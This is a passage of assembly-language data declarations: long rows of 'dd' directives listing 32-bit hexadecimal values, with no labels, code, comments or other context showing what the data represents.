5C87A7B3h, 43424825h dd 208AB639h, 0BB01228Dh, 5976358h, 2020DF21h, 28CC6BC9h dd 5C4900D1h, 72E96350h, 37B5CD00h, 0D005EDC0h, 9CECF8E5h dd 665907B7h, 0B652205Bh, 0F35C8896h, 3B724D44h, 0E29427ADh dd 6906540Fh, 559EE729h, 988643Eh, 0A2AC74E9h, 24254D48h dd 0C1ECE234h, 53947B9h, 59CE1082h, 0FDA5856h, 8D146024h dd 0F2C13064h, 707DCA8h, 0EDB275E8h, 5BDA130Bh, 7824A601h dd 13F90AC6h, 35E6278h, 80CAFED1h, 0D388EFA8h, 0ED6EB7FEh dd 0B704CADBh, 12E8B03Ch, 74F50966h, 0EEF3B85Eh, 8ED3DC1h dd 511462CCh, 0FC760926h, 26BEF856h, 1F541A76h, 7711ADF1h dd 0C9348602h, 624C3214h, 18E110D1h, 59C1B987h, 62341E1h dd 1B830D5Eh, 0F9616EADh, 83187ADDh, 1F2F75D8h, 80812ADEh dd 33B35003h, 91BE22E9h, 167FC380h, 5CC17C6Eh, 0CB02C3E3h dd 306F58B8h, 0EB019950h, 67B7D4EEh, 9932DE29h, 4F9605D2h dd 0A8BEF063h, 7A6917E7h, 975B55A1h, 0B6BEAFDh, 168499Eh dd 0E724C805h, 121072F4h, 0C01FB113h, 0AF0459C6h, 0A441C395h dd 0B385E6BDh, 9A484EDh, 1A56CD9h, 45BD0958h, 55CC7680h dd 31796798h, 0CD815A0Fh, 157D8094h, 956B71E9h, 8F9E746Ch dd 0A6E955E0h, 0F1298022h, 8997F8EEh, 9F7BF007h, 0A7D38131h dd 0AD6CC108h, 54A6F404h, 9FD317F4h, 0B0C37BB0h, 9D20E776h dd 0CEFE3D5Eh, 2845EE04h, 0B713EAF3h, 8248F909h, 56DF941Ah dd 8CB940A2h, 3F0E1214h, 632BACBEh, 0B59AE9D0h, 1C353EDh dd 30F250C3h, 7C5AD749h, 0C5F3A573h, 0C3DD523Bh, 0BA35160Eh dd 42EA3279h, 7D408907h, 0BD81C0AAh, 512D3062h, 681C1D46h dd 3A41DB1h, 3B540908h, 6E8C10Fh, 0F8EB5624h, 36A0D89Dh dd 0A59BB14Ch, 0E1DAB3C3h, 30BF22D8h, 956A08F9h, 9EA61547h dd 0F36ED7A4h, 0E982B7B6h, 0FFAB0DA3h, 8042BC00h, 0FEE228C6h dd 99F7BFCh, 0CF125CC1h, 0D993218Dh, 7CBC2518h, 2CE4A55Fh dd 87E92F58h, 53D0C28Bh, 10AA092Dh, 37B688Ch, 5F63DEB2h dd 0B776F801h, 0D3DD169Fh, 0D9D004CAh, 274AD2Fh, 56C76C7Ah dd 40CB82F7h, 555100E6h, 691D5D68h, 0C2307BB5h, 2474EED2h dd 0F82019Eh, 3187E989h, 911445CDh, 3C54501Fh, 59C4E450h dd 64C5BEF4h, 844D03FFh, 1181A6B1h, 1762279h, 19FA4CCDh dd 3C1C2468h, 5153C13Ch, 6FF54758h, 0E9C43528h, 0C1ECF055h dd 4308EB26h, 4C060513h, 2E187FC4h, 4981DE01h, 0A2E98D40h dd 0F532624Ah, 234782FEh, 0AA2C0236h, 93D68E5Dh, 407675E4h dd 3D98414Dh, 0B0193A00h, 87BF5742h, 1812002Dh, 0E907E7C1h dd 0B8A4251Ch, 0FA26430Ah, 0DF3DEB7Eh, 12BFA134h, 250EF34Bh dd 0F5B6821h, 205281A9h, 882C6F33h, 0A612C1FAh, 90AC6285h dd 0E91249F6h, 54E4CE6Ah, 7AEA4193h, 438A2800h, 5815059h dd 9126DE7h, 0EF73D042h, 1A0BB714h, 11F989AAh, 1135B487h dd 0C080097Ah, 319FBAF8h, 55028B54h, 83E75CFEh, 425C7469h dd 0B4906A68h, 48C9F1A2h, 5F10748h, 8BACD794h, 12125D24h dd 951E84Dh, 0D8AB21B6h, 0CF5A940Dh, 135C1537h, 0E717583Bh dd 0A3EC6135h, 4710A563h, 2FE984D7h, 0EBBD9443h, 0F4885658h dd 0EC698224h, 81787C02h, 707E25C0h, 20F78EA4h, 445D4F08h dd 17DDDA59h, 415144E4h, 5D1C7E61h, 6304EBC9h, 0C2EEF1DFh dd 66B9CB52h, 59CF30AEh, 8F07506Ch, 0FA297310h, 0A15F0840h dd 53759536h, 0D69DDA64h, 2052A1EFh, 644DDE35h, 8CD89106h dd 353765Bh, 5014DD20h, 0D0B4FB8h, 0F158C129h, 6A571A33h dd 0F60EFB5Ch, 0E88AE6D5h, 277393E5h, 18FE8AE0h, 6B96C897h dd 98CB4C28h, 700D0D4h, 6311F381h, 0D39012D5h, 4564DC0Bh dd 4B16857Ch, 0E2B817C0h, 292F042Ah, 0D7D0E9D8h, 5DA97FF2h dd 4B41FB82h, 7B49EF59h, 1D402F0Dh, 0E88330A3h, 6F7802F7h dd 0D2841A10h, 642DEF5Fh, 4F5533Bh, 1F5C70DFh, 2665309h dd 0CAE54BBDh, 838F641h, 0E32AA73Eh, 2FAB1CB7h, 0CE32362Dh dd 0C3C4237Ch, 0DE215D83h, 3B0E16A9h, 0F60C07F0h, 7DFB4257h dd 797490E0h, 0E02ACE25h, 0B54551A9h, 8981D99Ch, 89446D02h dd 6503F666h, 0C0A84419h, 655C2EFh, 493C2A76h, 0BC7115C3h dd 3B6802EFh, 0E06C5B09h, 90D1D88Ch, 0BF614D69h, 3C4E5B48h dd 5227E917h, 0A4582017h, 0F726807Ah, 0A7813ED1h, 312C41C6h dd 890C8A43h, 0C1069546h, 21204EEh, 0D7B67548h, 257DC9E9h dd 6B98E02Bh, 628A09BDh, 17812777h, 240AC668h, 5A89B8EBh dd 9E754ED9h, 6CFE0F40h, 38F4C44Fh, 2FC514F7h, 0A965CB70h dd 0E734525Ah, 663F2626h, 186F0189h, 604F4E39h, 38CBB0DEh dd 0E62E0968h, 52B6070Dh, 8B8B1434h, 540982D3h, 2D89965Dh dd 0F8426B68h, 0E484A03Ah, 20FE44Bh, 3F0979A6h, 54690C4Ah dd 0C45217BDh, 0E613EA82h, 802423BCh, 45D8324Ch, 85C5BF49h dd 1F526851h, 0E2DC9149h, 262D601Ah, 80D70EF6h, 0E7614CC7h dd 689CE97Ch, 0C88812C1h, 2C49231h, 763C8261h, 1369DE50h dd 0F01FDC61h, 8A3EB78h, 5D9B1C04h, 1805921h, 134F71D9h dd 9E1D141h, 3DFAA328h, 0A2CC55Eh, 595D0BE8h, 3F63C331h dd 8936B425h, 0CE0CD69Ch, 13B794D0h, 0F9296477h, 0B17A3A30h dd 8470A70Ch, 249ECB4Dh, 0E94F97BAh, 209372D3h, 6899E33Ch dd 263BC56Bh, 366EADB8h, 7CC0275Eh, 136F31BFh, 4760D7h dd 640FCE97h, 0C62EE9A3h, 6DA64FC3h, 5C87D630h, 0A5E34C70h dd 41E44540h, 0A507D4BBh, 5BDCF7A8h, 0FBB2B726h, 0B98D1D19h dd 4FBF5AECh, 0DE1BE469h, 49C94609h, 50890952h, 0BF5E7A25h dd 254FB48Fh, 0FB13AB8h, 11588A1h, 4D28FD21h, 2C35680Bh dd 0BE23815Bh, 80008C68h, 21F77BDEh, 9F8490E9h, 578BE745h dd 1DC01868h, 852B9B9h, 2915D5ECh, 55CA0088h, 0C10A4110h dd 0F80373E2h, 844A6006h, 476CE92h, 5AD00100h, 1A0CF12Dh dd 51D8F016h, 0E3200705h, 0D184092h, 0B4113B00h, 40B8255Dh dd 35141D7Fh, 66365D3Ch, 51E81014h, 0AA2442D7h, 95CD165Dh dd 8CE90998h, 0F8A3D64Eh, 0E0306C41h, 1BCE09EDh, 0A15C7948h dd 55FE08A0h, 2E5D2BA1h, 0FBC12F34h, 16C90E41h, 1F050C83h dd 0F2014503h, 1E20400Bh, 4228D8E9h, 0B86FBE34h, 0C2A0401Bh dd 0EA085B80h, 4D537A58h, 0B9023268h, 439D483Ah, 0F2B5BF40h dd 0A7574897h, 0CCA003Fh dd 695CBB53h, 312E4871h, 890E7EDFh, 0E9E841FDh, 982A4D2Bh dd 7445ADB2h, 0B854FC93h, 9F80B598h, 508F23E9h, 0CFE58940h dd 0B7F010Dh, 0DC1032EFh, 2600418Bh, 76E4BF70h, 33E92077h dd 0F8DF0886h, 4F41FB9h, 0F91AD483h, 446E20FAh, 0B9F1B4h dd 885128B3h, 0B689E5DDh, 65F9F6CAh, 2109BE01h, 3B7C6E2Ch dd 0A22D9450h, 2810550Ah, 63824E52h, 0B158C8BBh, 0E5594B20h dd 75833E69h, 5146D268h, 0A3388B36h, 0D45A0EA9h, 0EDB5FB27h dd 97D925A4h, 88A02F6Ah, 5A539A01h, 0D6F74E45h, 139E2C98h dd 5E4AF301h, 70C154B2h, 301EA17Bh, 0DD772B8h, 0FB01C080h dd 12DA4FE9h, 6069299Dh, 0B8800D87h, 364B1E37h, 2F2A9A1Fh dd 2C1AA261h, 19C12E96h, 1A74D825h, 0C176F0Fh, 0E912ED52h dd 3889586Bh, 78787EE1h, 1189E56h, 323F36C7h, 0FF3C3126h dd 0EA187D5Ah, 3B34E956h, 0A5EC8B54h, 682C29C8h, 66A27B0Ch dd 0BBAF9533h, 210DDA08h, 14E97DF0h, 0C0E5496Bh, 44D2075Ch dd 12914BBBh, 0AA6AC5BEh, 0F2325479h, 5A746809h, 0E86E69h dd 0CD225h, 0D0F73D95h, 9463DF2Dh, 0F10E2869h, 182542h dd 460BC781h, 0F81DD905h, 8EF50DBh, 25459E9h, 1610924h dd 63EFD0Dh, 1D913B28h, 617EC6E1h, 6E5E9203h, 7D53A31h dd 8090A597h, 5452595Dh, 61509A95h, 3000EA5Fh, 660959E8h dd 510C7E68h, 0A6CE08FDh, 59406736h, 0A9E1CC5Ah, 313093A1h dd 5FBDEE07h, 81156050h, 6B7A04F5h, 0EE4508E3h, 65CC161Fh dd 0ED28EEC8h, 84D9D204h, 1125E5FEh, 0D53B01C9h, 66C08229h dd 0A012F2C5h, 999C157h, 0F0AA75F2h, 20F0E94Ch, 82801CBFh dd 0B32532Ah, 0FC3A5EF1h, 6E7BB309h, 68CB3027h, 0A66A4AE4h dd 930690E6h, 4C200B8Dh, 3C234114h, 9A46C92Ch, 65C49827h dd 0BD028230h, 0CCFAEE01h, 46A73427h, 595A2763h, 0BE29B24Ch dd 51166F02h, 760C8032h, 3B665889h, 0B7C96095h, 0B85FD2A0h dd 9DCA9E2Ch, 3151C2C3h, 3168F070h, 30C92829h, 51520247h dd 0BBAB1A84h, 5EE2F8F3h, 9F72E050h, 64695ABh, 0C632432Dh dd 536302A8h, 35E91305h, 0E8B86869h, 565AF525h, 700C5BD0h dd 294637C4h, 206CC511h, 3BB4E90Ch, 849E595h, 763D50B7h dd 0E124067Dh, 0E6003503h, 89EF247Bh, 0DA6597CDh, 1431A588h dd 2F01535Ch, 0B87A8C15h, 290B81AFh, 0B1B3E9F0h, 6918DEADh dd 14C0C7E2h, 4DAC43BFh, 0F9292432h, 12EB0139h, 0E5056C10h dd 1C461CBh, 35F8E908h, 0A2D83CF7h, 658B7D92h, 218B7D47h dd 27DFC5D8h, 0AE277252h, 9F38E4DEh, 40ACFEC7h, 0CDA39A0Ch dd 114E167Bh, 77B60A25h, 9DD2606h, 8A5E492Fh, 5F130900h dd 0D0F1296Ch, 1C68081Ch, 21E52514h, 442AC9A9h, 7F06F72Ch dd 46B2E54Eh, 27CB18E8h, 8694DC8h, 86112E24h, 58749500h dd 2CE8147h, 1710137Eh, 0F17896E9h, 52992C07h, 0D3070AB2h dd 40904FC4h, 3D5A3EB9h, 0BA70263Dh, 1583162h, 3F553324h dd 5C5AB072h, 512CC0FEh, 0DBB07037h, 90958B7Ah, 0B55BE71Ch dd 0FA415092h, 605FEC08h, 357716D2h, 0C7B850B0h, 6CD81C59h dd 0CB05CCF7h, 1B33E90Fh, 975B995Ah, 294429BFh, 42C90F26h dd 0E1D2A6DFh, 0A5495DD4h, 174DEAF4h, 0F052C419h, 879C517Fh dd 75AAB027h, 0B816D3FAh, 29708C02h, 6CB2032Dh, 150533E7h dd 0FCCD0EA9h, 10B5D718h, 91CA3145h, 1C616A1Bh, 267C4940h dd 15985250h, 560F4E02h, 7FEA0154h, 3D742D1Ah, 361C4C29h dd 90F064EFh, 0E1A830A5h, 12F28072h, 5AD4081Dh, 0CE20C48Fh dd 674CD0D9h, 3C79A801h, 0A0FA012Ch, 0CB8208FEh, 30E81675h dd 2D0D41E9h, 0E72F44DBh, 0BB06605h, 0C01D3DBEh, 0C38DB74h dd 0DC1E277Eh, 760612B3h, 0F68400E2h, 29048005h, 3EC31EDh dd 908DE908h, 400C68CBh, 9470A72Fh, 6891A122h, 16BCA81h dd 52BA52F9h, 0E8E0D108h, 20BFB20Eh, 788A18DCh, 0B2ACF63Eh dd 0AD0EB9EAh, 0DD14966h, 0F9F713D3h, 0E9C376A9h, 8504521Fh dd 402EAAF3h, 0CB140EFBh, 7DBB12A2h, 67E7C05Dh, 1537CEEh dd 0B31A3FCFh, 0E3DFF74Ah, 0A8936B98h, 0FB21B10Ch, 2C413A5Fh dd 1C450B24h, 0D935C5B9h, 0BF74C26Dh, 61D78802h, 0CA2A30A3h dd 2457633h, 56687525h, 7A1601C8h, 4C38315Fh, 0C28CC44Fh dd 0E0213512h, 5B16D140h, 4CF07EADh, 202712Eh, 1D03BE18h dd 0A78F1F82h, 37894562h, 0E60827E2h, 3CB42608h, 47E5386h dd 0F042A6Fh, 9FA3F8Ch, 0E9B080F8h, 0E4B51302h, 6860EFAEh dd 6259BE48h, 18D503A0h, 994C852Fh, 55D40D9h, 142C4DAEh dd 2D14241Fh, 4B3A4707h, 33AE9E00h, 0B8682B7Ah, 728DCE92h dd 0E473ACB2h, 817E12BEh, 9D3F8530h, 39DEC817h, 90E0C465h dd 8DD74A24h, 6A54FDDFh, 178FF517h, 18645D5Eh, 2EC4B9Ch dd 33E6664Bh, 0F8B44C60h, 301C94B2h, 0D0D658E2h, 548927F8h dd 0E4C51E09h, 6D2ED91h, 1F2E5B55h, 0FC4BF605h, 33FCC3CCh dd 0E64E665Dh, 9D3D3598h, 63B03013h, 0CA581F5Ah, 5215963Ah dd 2EF7CA39h, 0A1AB145Ch, 636D6805h, 0A6EB844h, 7BC58003h dd 0DC86062Ch, 64DB8A25h, 0AB07281Fh, 6F166853h, 22422037h dd 364E8BF4h, 0D5EE4E31h, 0E5B5CD3Ah, 0DC407F04h, 0EB2025E2h dd 6776945Dh, 0FA2240B9h, 0CA502137h, 5C8049EEh, 714B3168h dd 24CE473h, 5A28FE5Bh, 0D61061h, 9D545358h, 0C490B54Ch dd 4182CCE2h, 69105E9h, 18434C06h, 0EFC77B97h, 6825AE9h dd 0F8D82850h, 8746CEF3h, 0FCF2667Ah, 963FEBB6h, 0AEC80BECh dd 13C9F252h, 562D11Fh, 0FC1EE680h, 0FAEE89A2h, 0C6A2C0BBh dd 24582E5Ah, 56C4C098h, 3117CD25h, 0F55BDD43h, 34313552h dd 2406DFAFh, 0C189EAE7h, 92BB04F2h, 0C0122171h, 0B2CEA188h dd 0D901B917h, 70E1BEC0h, 642A5C97h, 0D3F94700h, 0E9CF2910h dd 2BDC1E24h, 0CB9EF19Ch, 69811953h, 5B2DF731h, 4739FB8Bh dd 0BBC6DEBh, 0A0F52BE9h, 79780BB4h, 82689451h, 330496Eh dd 0CE8DBFCh, 5D023221h, 0D99BBEE9h, 61302F88h, 0C6B558C5h dd 0D2E9254Fh, 117429C2h, 0A50DEE51h, 0A893D33Ah, 10950E48h dd 0F2C07D6Ch, 779B5440h, 0C1D2F72Ch, 4BA3E80Fh, 0C52400EBh dd 0B72DC84Dh, 0D59A8443h, 0B02DAE2h, 67504EE9h, 25AC6817h dd 0B902CFF3h, 3A6B46CDh, 8059AF85h, 1153DEC1h, 21010C9Ah dd 0E9B1954Eh, 0BA249AA9h, 803F02B6h, 0F12850C6h, 0F0534AFEh dd 6EF6A6E9h, 0C1E304D9h, 92D15272h, 79D22B3Ch, 8869C0DBh dd 62E33345h, 93ACE910h, 0BE04536Ch, 787E525Fh, 6014B84h dd 0E95EF389h, 5A7DC2EDh, 881A6B3Ch, 0BCDC10BBh, 2907696Fh dd 50675C7Dh, 0BE99535Ch, 95419012h, 558C789h, 6D815D6Ah dd 33408B4Ah, 39FA5E21h, 0E9DAF70Bh, 76EF291Bh, 0B174D249h dd 30E654E4h, 18E5364Ah, 9A620A01h, 0B9ADE911h, 9DEADD89h dd 0E83258FEh, 0FC82F5C5h, 409340Dh, 7E21BBBFh, 94F92C99h dd 0F87925D6h, 0A25F4B8Bh, 276B3445h, 1D8562BEh, 31485350h dd 9C2D0201h, 0CA0D762Bh, 5B070583h, 427E2DAAh, 3DA4B1FDh dd 0C983945Dh, 95426B24h, 7E282B68h, 0EB76695Eh, 0A0165EC5h dd 6809098Bh, 0E2B10597h, 0AB51FE77h, 3E3A2C2Fh, 30994E68h dd 0AF27E975h, 6D8CABBCh, 48905341h, 0BBC58358h, 0F895CD02h dd 0A51202Ch, 83C51597h, 13C30591h, 5E5A33A8h, 943814BDh dd 717469F2h, 0F978C740h, 2548020Fh, 5EC03164h, 51B80DFh dd 0E5382D86h, 0A3049931h dd 895A8F43h, 5B5DE26Ah, 0F1E61225h, 0DC2BE508h, 0C692B65Ah dd 1317680Eh, 92D39E38h, 0A063653h, 543B55E5h, 7A89FADFh dd 0BCDDE6C3h, 0C4281264h, 980EA4DEh, 68172243h, 0D273AC59h dd 5D30C01h, 0DA824622h, 0C29E759Bh, 3A163D76h, 18DB72FDh dd 595AA0FDh, 0BE8C10Eh, 0D20C9631h, 59079B4Ah, 8B9FC6D6h dd 0B3ED7466h, 1ED6681Fh, 79D2F4CCh, 57252F5Bh, 305FF7C1h dd 673B3369h, 0D14C7A91h, 0E7854F16h, 0D73C3439h, 5620B8A6h dd 444E48A6h, 385CE218h, 660EEC1h, 2E64C912h, 0E1E9161Dh dd 0CDB346F9h, 5E69D743h, 88DE5E4Bh, 582FDF8Bh, 74607268h dd 68826A2Bh, 7E8747E5h, 31AD456Eh, 41CDCD0Ah, 75936806h dd 53C08FF6h, 0C8326457h, 3AC6B95h, 1AD1E3D2h, 0DFF3EF01h dd 22A70A15h, 9A1A26DEh, 0BF6D4C0h, 975E9751h, 0CB54F6E9h dd 96406632h, 0D72C704Fh, 4B185367h, 0A84AE90Dh, 1D9F7F7h dd 8107E1C1h, 0F13224C9h, 0E6F1D852h, 0F90697FAh, 159CD89h dd 0FD312C06h, 0B7C5E0EBh, 38243ADDh, 0DE0C6429h, 70B67B56h dd 44F35B51h, 12A113DDh, 3EAC3524h, 0D2A6E25Eh, 79C0C701h dd 0D03F6118h, 516EDB1h, 0E9EC64FBh, 0CC80B15Bh, 130D7235h dd 1C293F8Dh, 62476575h, 0C042F0AEh, 0E0D2C3h, 78D833E2h dd 0E5033105h, 0EEC2204Bh, 69252F2h, 69075EBDh, 4E0EB037h dd 0C0132E16h, 0D4147FCDh, 670CC370h, 24C6807Eh, 287B0575h dd 0D2EA8925h, 0E9550914h, 142BDBFBh, 96694590h, 0B4E24F83h dd 6F9C5BA6h, 72795C51h, 0E96AB45Eh, 5E02A45Dh, 72B2FF90h dd 0B1965B14h, 378F60ACh, 0FA20A345h, 60031FE4h, 8B891A69h dd 9BF8FE4Eh, 1CC9FE4Ah, 80B18560h, 0ED159FBDh, 27BF1350h dd 0B2F80BB5h, 0CA22419Dh, 5FB8150Dh, 0ECC48C76h, 45B729FFh dd 0D2358005h, 89B590D0h, 58304205h, 0B2819D61h, 582C4AF3h dd 1BBE0BE5h, 94FFF5Ch, 5A94AB19h, 0B2420C8Eh, 930C7BBCh dd 1375E017h, 46423316h, 0DE5DE821h, 1702A430h, 9600F9A9h dd 0E1D296F8h, 50D0075h, 16057143h, 0AC3DE94Dh, 68F720BBh dd 92B37556h, 5427C50Bh, 3029834Fh, 0D4DF5BFEh, 7177ADC8h dd 0FBC4EF3Bh, 1684BD4Fh, 5C9428BEh, 0AC5B7BA0h, 0B6C5CE9Fh dd 0E69A5BF8h, 0ADB83FE0h, 2E981B6h, 1A118DF1h, 6C160B41h dd 0C137C93Fh, 820420EDh, 0F1A4D640h, 0C7A78855h, 912CFB41h dd 0BFAECCDEh, 0A201CFA3h, 0C10F615Eh, 128206EFh, 791E7C94h dd 4E85CB80h, 0D9AB5FC2h, 0FDB37898h, 0A1F0265Bh, 0AE04B5EAh dd 3544FF58h, 50E3D231h, 1F69D150h, 0A5231F06h, 0BAE62389h dd 161D4CBFh, 0B0D4E951h, 4B25B3E4h, 98998288h, 9D7C4BDh dd 66E5072Ah, 71B06F20h, 0D12E5883h, 0B21BEDE3h, 6C1B191h dd 19D0D82Fh, 947D2D84h, 408B3879h, 792664C1h, 5F18BFF6h dd 0F0911D6Fh, 9A5ADE4Bh, 3BFD4B58h, 7DD1EA10h, 66538F05h dd 0E917670Eh, 4FB73EECh, 0DF5B605Eh, 2F5E08E9h, 78EE4127h dd 0A13C7771h, 4E02FCF0h, 3B5CE0E3h, 7B22049Fh, 2DED2919h dd 0C1DCF09Ah, 19D17DBh, 19C58FC8h, 560BD7E9h, 95B8E2D8h dd 64F2A393h, 8200664Bh, 3F0360F2h, 0EAA5F35Dh, 0E385862h dd 5B2F1959h, 80C86560h, 0C074F304h, 78FC02E3h, 0DF9C068Fh dd 0C9C3C4E7h, 0AAFCC188h, 15334EFh, 664C0BFh, 2BDD1F27h dd 8195D759h, 66F929C7h, 0EF27D84h, 31E372B4h, 4DE548FBh dd 3C9D741Bh, 9E936FA9h, 75D55A0Ah, 10064CBEh, 5809A172h dd 4B03D801h, 0ED01C266h, 0A46309C9h, 0FA82414Dh, 3D5E9EA3h dd 2BA3541h, 0E3B7E053h, 6A782759h, 0F3812000h, 91307015h dd 46ABCC31h, 0AC43FFADh, 96A95692h, 30505D7Bh, 3DD9662Dh dd 0D418F109h, 0DB405379h, 0A24CD68Bh, 2FAFA447h, 806469CBh dd 0A156A7FEh, 1BEE674h, 0C3B63B2h, 6E014DE9h, 0BB7D32D1h dd 367CAB04h, 0C5E20C81h, 64367854h, 4836AAB5h, 0F426A400h dd 97D6F773h, 29714A4Ah, 9F0098ACh, 81459963h, 2705F6CAh dd 0F44253C5h, 4649477h, 0BAD529BDh, 0B0EEC6Fh, 52D338E9h dd 5399019Dh, 0CE0182C8h, 0C5926B59h, 0C884CB2Bh, 0B728BF68h dd 5017AD6Dh, 0B2FE1B04h, 0FEE29512h, 0C6F89016h, 2A17E9F1h dd 335DA305h, 0A093F91h, 0E0015B03h, 8753AB3h, 8BF8D501h dd 0ED4CB7F9h, 2E5F55F4h, 40F4A6D8h, 0FD5889E4h, 489A2277h dd 71253DAh, 0A3D9E892h, 5602919Bh, 0F50BEB1Ch, 861FA67Ch dd 0F649957Eh, 0C588A05Dh, 0FEA28625h, 0B62BE6D6h, 0A191CF8Ah dd 10475CB8h, 502CBB6h, 25776C5Ch, 1ED3A67Dh, 5C90BDABh dd 75C099F4h, 7E122DE8h, 0DD535035h, 0E5B46BA1h, 7FE0F970h dd 6AF23B4Bh, 44C95149h, 0EED82463h, 62E6081Bh, 0DA013190h dd 0C15C6D4Bh, 1E8202E6h, 19FB11E5h, 52A81200h, 68E92615h dd 8309BA34h, 5C82A16Eh, 5B549484h, 6CA262EBh, 3A949578h dd 7D255B4Ch, 58BB11BCh, 0EF781321h, 8359B302h, 879C82C0h dd 64570796h, 0BEA7E018h, 4AF23BE0h, 8EEC103h, 653FF681h dd 82F17C10h, 1CDCB633h, 71FB6E62h, 960CA014h, 0F1299278h dd 0BA2C6B58h, 0C4F65EE9h, 0E1DAED85h, 292A5457h, 0FCD33021h dd 1E30B280h, 8B71E280h, 7D52E496h, 5E291962h, 0E3C102E7h dd 959839E3h, 7C4C1E05h, 838A270Ah, 93576661h, 0B158F3BFh dd 60E6F901h, 83F8FBD5h, 6B305AF1h, 0E8698405h, 6F07D7A9h dd 0B2419707h, 30DD126Bh, 0B121782Ch, 6014904h, 0CF522D05h dd 7337F1E0h, 7A1D0C2Fh, 46C907EAh, 0FF64C511h, 3097F552h dd 0F33867D4h, 0FBB0DBE5h, 59CA2701h, 0C3205E44h, 3E6297A8h dd 25F8EA41h, 666BCC5h, 5A7B9A61h, 0D36825DAh, 2C5F9F7Ah dd 19B85360h, 59172D58h, 22F5C3A0h, 29231501h, 3A0C2044h dd 0ED7B8F58h, 29121D45h, 0CB7E35E1h, 0F828133Eh, 0D0741509h dd 0DC8648F2h, 0AFEA0A18h, 0A717DAEEh, 0B8A8DCBEh, 549F748h dd 6104AC04h, 541FBF28h, 79403109h, 4ECF809Eh, 0ED810EC8h dd 4208D602h, 42F5294Ah, 8C08083Bh, 5B05DF10h, 0BB0CD268h dd 169F724Ch, 94FE962Dh, 0B45EBB5Bh, 709829F6h, 0FA298295h dd 9D7266C7h, 8310AC45h, 204F3448h, 4A685840h, 8E8C024Ah dd 0EC5548B6h, 6830E9A1h, 53444E8Ch, 5D098F5Eh, 47A22DEh dd 64BEF5FFh, 1870BC92h, 5F54EB83h, 158282A2h, 0DCEB4B05h dd 0C5DFBA27h, 9B142DD3h, 0B0C3C5D4h, 0FFE95453h, 7289224h dd 0C78059CFh, 311DB22Fh, 66277F45h, 0F4665A8Eh, 8E5EED93h dd 641F1226h, 53DF1D84h, 0C22BE7D9h, 0F40B4877h, 0A4C0203Ah dd 79EFEC97h, 0A73E178Dh, 0E93ED889h, 5061435Dh, 4AC6C686h dd 0F039B554h, 8FBF2CFEh, 9BB20B87h, 97C2021Bh, 0BE04A6D0h dd 745154BCh, 0D9AE5683h, 0C803BA7h, 7213A969h, 0C09FF331h dd 9A2DE9D8h, 0CAFE2785h, 0AC354F0h, 0F983C280h, 302BA173h dd 2C2B6838h, 2084C6B7h, 50B28BFh, 2443DDBh, 1FC8E0Eh dd 7B97D0F7h, 465D8A42h, 0FAE6C125h, 0CAFE702Eh, 2316C31Ch dd 6D45A5E9h, 30F52DADh, 0A422D5D6h, 6FDBD829h, 51D2470Bh dd 25C7A84Fh, 76D16FA8h, 126D291Fh, 27663C3h, 0C7C4F674h dd 76E421C6h, 4B8DFA34h, 5D405DD0h, 53323FC3h, 0B5B3EB16h dd 9910886Ch, 169228F2h, 0C0183839h, 0C7C64E06h, 0D789E71Eh dd 58977A67h, 1C13DA5Fh, 0CAD8B83Eh, 2993A581h, 0A922313h dd 46297D4Eh, 0AF7ED20Bh, 0C8C39052h, 7C5F81D6h, 0FE09A1A3h dd 12CE4C88h, 6D6A6805h dd 0D84B8FB6h, 1705DD97h, 39E94F21h, 0D66CF8F1h, 0FA9088D4h dd 9295658Ah, 0EBF36458h, 0BA689F07h, 6928E6C9h, 9392F4Eh dd 13D76EB7h, 2BBF0C94h, 100558CCh, 176EF22h, 3F5636BFh dd 63F9891Ch, 40AB92C0h, 45BFBDFCh, 0F70C313Ch, 8E5D1DDh dd 7160E9C1h, 762639F5h, 0A2E92804h, 9C30BF31h, 1C0220F1h dd 412D7D8Eh, 2923DA5Bh, 0BC31C8h, 0E9D80108h, 1D47B4Dh dd 534BFAB8h, 0DE213117h, 0BD742E48h, 94D3358Bh, 3A5AA42Eh dd 1D307DCCh, 0BB5C968h, 0C217D176h, 6605224Ah, 0C453885Eh dd 0C75C424Bh, 0B76258Ch, 71E82C9h, 612D712h, 0D6C1A17Fh dd 6A60C748h, 0B51092DCh, 9D28BDE7h, 125D5458h, 3CA86988h dd 161133C1h, 0F3846F49h, 2746E003h, 4BFDC19h, 0BC70E9E4h dd 3885F76h, 1D1C6C5h, 4D0FAAF3h, 0A410FB68h, 84BDAEE4h dd 0AC950185h, 0F152B336h, 0D36EDED1h, 0FDC10834h, 5986D3Dh dd 4BFC59FEh, 89AA1FFFh, 6E20CD94h, 807DB252h, 2808EA16h dd 0C3DE571Ch, 96753D39h, 0B2B0F6EBh, 18A6B08Dh, 3A9E63E9h dd 6A77D5BDh, 0DBF7593Ah, 0A18CA0h, 894D1C7Ch, 0E8C15BD8h dd 0ACA5F2C4h, 9856C012h, 7C48BD14h, 0B9681318h, 0D3CE3BBDh dd 8BA510B1h, 0B5F0882Fh, 3EC8FE39h, 3D2B95C0h, 545185CFh dd 53C51AA8h, 0AE32AE68h, 0D6A0F5D1h, 0C9F72EC6h, 0EC81CE5Bh dd 563B0559h, 3533C1BFh, 0E07A34EDh, 0C5353E5Ah, 0ECADF8E4h dd 279F6075h, 5EEA4755h, 0FC685A9Ch, 484D8002h, 7F376030h dd 63189CF5h, 0E5220CFEh, 0D265B733h, 62253Fh, 4406B9A3h dd 0B13E4B0Dh, 42E1CD02h, 0C55AC9F0h, 0A34D0EA8h, 292B5181h dd 4BACFCA6h, 581FB91h, 6F24691Ch, 10D5C46Bh, 0B505E307h dd 0FE63D51Fh, 0EBD97F1Ch, 1F6DF36Eh, 2A75F602h, 57406BA5h dd 1C136EB9h, 510216Ch, 0BB7C05B1h, 930AF3E7h, 0FA75144h dd 40326B40h, 1B1F3567h, 3D13AB05h, 35845EAh, 61946802h dd 0FC5918DCh, 532404h, 31B8C0D6h, 0F7ACCB89h, 0F9685202h dd 0CB496D38h, 0AD539F50h, 29B98851h, 982F7D0Dh, 0C3B76013h dd 50CAEF3h, 0CC1F595Eh, 16B60395h, 5CFCCF01h, 5043D296h dd 58C9DA42h, 0F45D205Dh, 0F72901BDh, 4B7081D9h, 0A02D7A02h dd 2CAA07BBh, 3A869E66h, 490213C9h, 591F5464h, 8C02DF87h dd 6E12D936h, 23BE5B98h, 0C0010500h, 2903735Dh, 0E27062BFh dd 0A43F9044h, 98C601A3h, 2918EB33h, 309562FEh, 0F281937Dh dd 7442F22h, 0BA0092D0h, 2938B908h, 0B27CE9D3h, 0E65F4E48h dd 41EA20B0h, 0B334014h, 465A8E68h, 173BE4B5h, 0FCD1A130h dd 0BD969FAFh, 575C082h, 